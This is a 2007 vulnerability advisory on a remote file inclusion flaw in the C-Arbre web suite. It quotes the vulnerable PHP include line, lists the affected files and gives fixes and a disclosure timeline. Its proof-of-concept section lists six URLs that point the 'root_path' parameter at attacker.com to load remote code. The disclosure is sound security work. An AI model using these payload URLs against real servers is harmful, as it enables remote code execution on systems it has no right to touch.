[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability

ECHO_ADV_78$2007

[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability

Author : M.Hasran Addahroni
Date : March, 26th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv78-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote

Affected software description:

Application   : C-Arbre  
version       : <= 0.6PR7
Vendor        : http://realink.org/
Download      : http://fresh.t-systems-sfr.com/unix/src/www/c-arbre_0.6PR7_full.tar.gz
Description :

C-Arbre is an integrated Intranet/Web software suite oriented towards knowledge management. Some of its key features include a CMS, 
a documents repository, handling of collaborative work and editions, templates engineering, support for DocBook XML, XHTML and Wiki style, permissions and work flow,
a search engine with full text indexing, logging of actions, a cache system, groupware tools (calendar, Web mail, mailing lists, etc.), 
automatic generation of a Web portal, and internationalization of the interface.

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Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at lib/Richtxt_functions.inc.php :  
        
----------------lib/Richtxt_functions.inc.php-------------------
<?php
//try to integrate the wikimedia engine functions
include_once("$root_path/include/Wikitxt_functions.inc.php");

...
----------------------------------------------------------------


Input passed to the "root_path" parameter in lib/Richtxt_functions.inc.php is not properly verified before being used to include files. 
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.

also affected files :
lib/adddocfile.php
lib/auth_check.php
lib/browse_current_category.inc.php
lib/docfile_details.php
lib/main.php
lib/mainarticle.php
lib/maindocfile.php
lib/modify.php
lib/new.php
lib/resource_details.php
lib/smallsearch.php
mwiki/LocalSettings.php


Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[C-Abre_path]/lib/Richtxt_functions.inc.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/adddocfile.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/auth_check.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/browse_current_category.inc.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/docfile_details.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/main.php?root_path=http://attacker.com/evil?


Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals


Notification:
~~~~~~~
- 19-03-2007 bugs found
- 26-03-2007 vendor contacted
- 27-03-2007 advisory released
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Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ [email protected]
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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